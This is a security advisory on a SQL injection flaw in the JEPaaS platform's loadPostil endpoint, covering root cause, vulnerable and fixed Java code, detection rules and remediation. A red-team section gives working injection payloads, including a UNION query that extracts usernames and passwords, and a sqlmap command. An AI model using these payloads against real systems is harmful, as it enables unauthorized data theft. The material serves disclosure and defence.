CVE-2025-15088

Executive Summary

CVE-2025-15088 is a critical SQL injection vulnerability in the JEPaaS platform by Ketr, affecting versions up to 7.2.8. The flaw resides in the postilService.loadPostils function, specifically in the /je/postil/postil/loadPostil endpoint, where the keyWord argument is improperly sanitized. This allows unauthenticated remote attackers to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the underlying database. The exploit has been publicly disclosed, and no vendor patch is available, making this a high-priority threat for any organization using JEPaaS.

Supply Chain & Package Security

JEPaaS is a proprietary Java-based platform, not distributed via NPM, PyPI, Go, or Ruby registries. However, organizations should verify the integrity of any downloaded JEPaaS binaries or containers, as the vendor has not responded to disclosure attempts. If JEPaaS is deployed via Docker or other container registries, ensure images are from trusted sources and consider isolating the application until a patch is available.

CVSS Breakdown & Threat Level

CVSS Score: 6.3 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploit does not affect other components.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): Low – Potential for database disruption.

Threat Level: High – Public exploit availability and lack of patch increase risk significantly.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the postilService.loadPostils method. The keyWord parameter is passed directly into a SQL query without proper sanitization or parameterization. An attacker can inject SQL syntax via the keyWord parameter in a POST request to /je/postil/postil/loadPostil.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. The keyWord input is not validated or escaped before being embedded in the SQL statement.

Attack Vector: An unauthenticated attacker sends a crafted HTTP POST request to the vulnerable endpoint. The keyWord parameter contains SQL injection payloads, such as ' OR '1'='1 or more complex UNION-based queries to extract data.

Impact: Successful exploitation can lead to:

• Unauthorized access to sensitive data (user credentials, application data).
• Bypass of authentication mechanisms.
• Potential for further attacks on the database server (e.g., stored procedures, file read/write if database permissions allow).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java):

public List<Postil> loadPostils(String keyWord) {
    String sql = "SELECT * FROM postils WHERE content LIKE '%" + keyWord + "%'";
    // Execute query
    return jdbcTemplate.query(sql, new PostilRowMapper());
}

Patched Code (Conceptual Java):

public List<Postil> loadPostils(String keyWord) {
    String sql = "SELECT * FROM postils WHERE content LIKE ?";
    // Use parameterized query
    return jdbcTemplate.query(sql, new Object[]{"%" + keyWord + "%"}, new PostilRowMapper());
}

Explanation: The patched version uses a parameterized query (? placeholder) to safely bind the keyWord value, preventing SQL injection. The vulnerable version concatenates user input directly into the SQL string.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running JEPaaS <= 7.2.8.
• Network access to the /je/postil/postil/loadPostil endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: POST /je/postil/postil/loadPostil
2. Craft a payload to test for SQL injection:

   POST /je/postil/postil/loadPostil HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   keyWord=test' OR '1'='1
   

3. If the response returns unexpected data (e.g., all postils), the endpoint is vulnerable.
4. Extract data using UNION-based injection:

   POST /je/postil/postil/loadPostil HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   keyWord=' UNION SELECT null,username,password,null FROM users--
   

5. Automate with tools like sqlmap:

   sqlmap -u "http://target.com/je/postil/postil/loadPostil" --data="keyWord=test" --batch --dbs
   

Note: No public exploit-db code was provided, but the above manual technique is sufficient for exploitation.

Blue Team (Detection & Response)

Detection Steps:

• Monitor HTTP POST requests to /je/postil/postil/loadPostil for abnormal keyWord parameters containing SQL keywords (e.g., OR, UNION, SELECT, --).
• Enable database query logging to detect anomalous SQL statements originating from the application.
• Use a Web Application Firewall (WAF) to block common SQL injection patterns.

Response:

• Immediately isolate the affected server if exploitation is suspected.
• Review database logs for unauthorized queries.
• Rotate any credentials that may have been exposed.
• Apply virtual patching via WAF rules until an official patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /je/postil/postil/loadPostil with keyWord containing SQL metacharacters (e.g., ', --, UNION).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Unexpected files in the JEPaaS installation directory (e.g., webshells).
• Modified application logs showing SQL injection attempts.

System IOCs:

• Unusual database connections from the application server.
• High CPU or memory usage on the database server during exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_15088_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting JEPaaS postilService.loadPostils"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15088"
    strings:
        $s1 = "/je/postil/postil/loadPostil" ascii nocase
        $s2 = "keyWord=" ascii nocase
        $sqli1 = /(\%27|')\s*(OR|AND)\s+.*(=|LIKE)/i
        $sqli2 = /UNION\s+SELECT/i
        $sqli3 = /--\s*$/m
    condition:
        $s1 and $s2 and any of ($sqli*)
}

Sigma Rule

title: CVE-2025-15088 JEPaaS SQL Injection Attempt
id: 8a3f7c2e-5d4b-4a1c-9e8f-2b3c4d5e6f7a
status: experimental
description: Detects SQL injection attempts against JEPaaS postilService.loadPostils endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/je/postil/postil/loadPostil'
        cs-uri-query|contains: 'keyWord='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - '--'
        - '%27'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in search queries (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15088 JEPaaS SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/je/postil/postil/loadPostil"; http_uri;
    content:"keyWord="; http_client_body;
    pcre:"/(\%27|')\s*(OR|AND)\s+.*(=|LIKE)/i";
    pcre:"/UNION\s+SELECT/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-15088;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if possible, or restrict network access to the vulnerable endpoint.
2. Apply virtual patching using a WAF to block SQL injection patterns targeting /je/postil/postil/loadPostil.
3. Monitor logs for exploitation attempts and respond accordingly.

Long-term Fix:

• Since the vendor is unresponsive, consider migrating away from JEPaaS or implementing a custom patch:
  • Replace all string concatenation in SQL queries with parameterized queries (prepared statements).
  • Implement input validation and sanitization for all user-supplied parameters.
• Engage with the vendor community or fork the project if open-source to apply fixes.

Workaround:

• Disable the postilService.loadPostils functionality if not critical to operations.
• Use a reverse proxy to inspect and sanitize requests before they reach the application.

Valters IT